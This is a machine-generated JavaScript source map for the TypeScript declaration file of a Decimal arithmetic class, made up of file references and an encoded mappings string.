{"version":3,"file":"Decimal.d.ts","sourceRoot":"","sources":["../../src/Decimal.ts"],"names":[],"mappings":"AAkBA;;;;GAIG;AACH,oBAAY,UAAU,GAAG,OAAO,GAAG,MAAM,GAAG,MAAM,CAAC;AAEnD;;;;;;;;GAQG;AACH,qBAAa,OAAO;IAClB,MAAM,CAAC,QAAQ,CAAC,QAAQ,UAA6C;IACrE,MAAM,CAAC,QAAQ,CAAC,IAAI,UAAmB;IACvC,MAAM,CAAC,QAAQ,CAAC,IAAI,UAAqB;IACzC,MAAM,CAAC,QAAQ,CAAC,GAAG,UAAmB;IAEtC,OAAO,CAAC,QAAQ,CAAC,UAAU,CAAY;IAEvC,gBAAgB;IAChB,IAAI,GAAG,IAAI,MAAM,CAEhB;IAED,gBAAgB;IAChB,IAAI,SAAS,IAAI,MAAM,CAEtB;IAED,OAAO;IAQP,MAAM,CAAC,mBAAmB,CAAC,eAAe,EAAE,MAAM,GAAG,OAAO;IAI5D,OAAO,CAAC,MAAM,CAAC,WAAW;IA8C1B,MAAM,CAAC,IAAI,CAAC,UAAU,EAAE,UAAU,GAAG,OAAO;IAiB5C,OAAO,CAAC,+BAA+B;IAavC,OAAO,CAAC,QAAQ;IAKhB,OAAO,CAAC,sBAAsB;IAkB9B,QAAQ,CAAC,SAAS,CAAC,EAAE,MAAM,GAAG,MAAM;IAUpC,QAAQ,CAAC,SAAS,SAAI,GAAG,MAAM;IAO/B,OAAO,IAAI,MAAM;IAUjB,GAAG,CAAC,MAAM,EAAE,UAAU,GAAG,OAAO;IAIhC,GAAG,CAAC,UAAU,EAAE,UAAU,GAAG,OAAO;IAIpC,GAAG,CAAC,UAAU,EAAE,UAAU,GAAG,OAAO;IAIpC,GAAG,CAAC,OAAO,EAAE,UAAU,GAAG,OAAO;IAUjC,gBAAgB;IAChB,QAAQ,CAAC,OAAO,EAAE,UAAU,GAAG,OAAO;IAYtC,MAAM,CAAC,UAAU,EAAE,UAAU,EAAE,OAAO,EAAE,UAAU,GAAG,OAAO;IAW5D,GAAG,CAAC,QAAQ,EAAE,MAAM,GAAG,OAAO;IA0B9B,IAAI,MAAM,IAAI,OAAO,CAEpB;IAED,IAAI,IAAI,IAAI,IAAI,GAAG,SAAS,CAI3B;IAED,IAAI,OAAO,IAAI,IAAI,GAAG,SAAS,CAI9B;IAED,IAAI,QAAQ,IAAI,IAAI,GAAG,SAAS,CAI/B;IAED,IAAI,MAAM,IAAI,IAAI,GAAG,SAAS,CAI7B;IAED,gBAAgB;IAChB,IAAI,aAAa,IAAI,IAAI,CAExB;IAED,EAAE,CAAC,IAAI,EAAE,UAAU,GAAG,OAAO;IAI7B,EAAE,CAAC,IAAI,EAAE,UAAU,GAAG,OAAO;IAI7B,EAAE,CAAC,IAAI,EAAE,UAAU,GAAG,OAAO;IAI7B,GAAG,CAAC,IAAI,EAAE,UAAU,GAAG,OAAO;IAI9B,GAAG,CAAC,IAAI,EAAE,UAAU,GAAG,OAAO;IAI9B,MAAM,CAAC,GAAG,CAAC,CAAC,EAAE,UAAU,EAAE,CAAC,EAAE,UAAU,GAAG,OAAO;IAOjD,MAAM,CAAC,GAAG,CAAC,CAAC,EAAE,UAAU,EAAE,CAAC,EAAE,UAAU,GAAG,OAAO;CAMlD;AAID,aAAa;AACb,qBAAa,UAAU;IACrB,OAAO,CAAC,OAAO,CAAC,CAA2B;IAE3C,OAAO;IAIP,MAAM,CAAC,OAAO,CAAC,EAAE,EAAE,UAAU,GAAG,SAAS,EAAE,EAAE,EAAE,UAAU,GAAG,SAAS,GAAG,UAAU;IAuBlF,QAAQ,CAAC,SAAS,CAAC,EAAE,MAAM,GAAG,MAAM;IAQpC,QAAQ,CAAC,SAAS,CAAC,EAAE,MAAM,GAAG,MAAM;IAQpC,GAAG,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;IASvC,IAAI,OAAO,IAAI,IAAI,GAAG,SAAS,CAE9B;IAED,IAAI,QAAQ,IAAI,IAAI,GAAG,SAAS,CAE/B;IAED,IAAI,QAAQ,IAAI,IAAI,GAAG,SAAS,CAE/B;IAED,IAAI,aAAa,IAAI,OAAO,GAAG,SAAS,CAEvC;IAED,IAAI,QAAQ,IAAI,IAAI,GAAG,SAAS,CAE/B;IAED,IAAI,MAAM,IAAI,IAAI,GAAG,SAAS,CAE7B;CACF;AAED,aAAa;AACb,qBAAa,OAAO,CAClB,CAAC,SAAS;IACR,QAAQ,CAAC,EAAE,CAAC,GAAG,SAAS,CAAC;IACzB,aAAa,CAAC,EAAE,CAAC,GAAG,SAAS,CAAC;IAC9B,GAAG,CAAC,CAAC,OAAO,EAAE,GAAG,GAAG,CAAC,CAAC;IACtB,QAAQ,CAAC,SAAS,CAAC,EAAE,MAAM,GAAG,MAAM,CAAC;CACtC,EACD,CAAC,SAAS;IACR,GAAG,CAAC,CAAC,EAAE,MAAM,GAAG,OAAO,CAAC;CACzB;IAED,OAAO,CAAC,QAAQ,CAAI;gBAED,KAAK,EAAE,CAAC;IAI3B,UAAU,CAAC,SAAS,EAAE,MAAM,GAAG,IAAI,GAAG,SAAS;IAQ/C,QAAQ,CAAC,SAAS,EAAE,MAAM,GAAG,MAAM;IAOnC,QAAQ,IAAI,MAAM;CASnB"}
|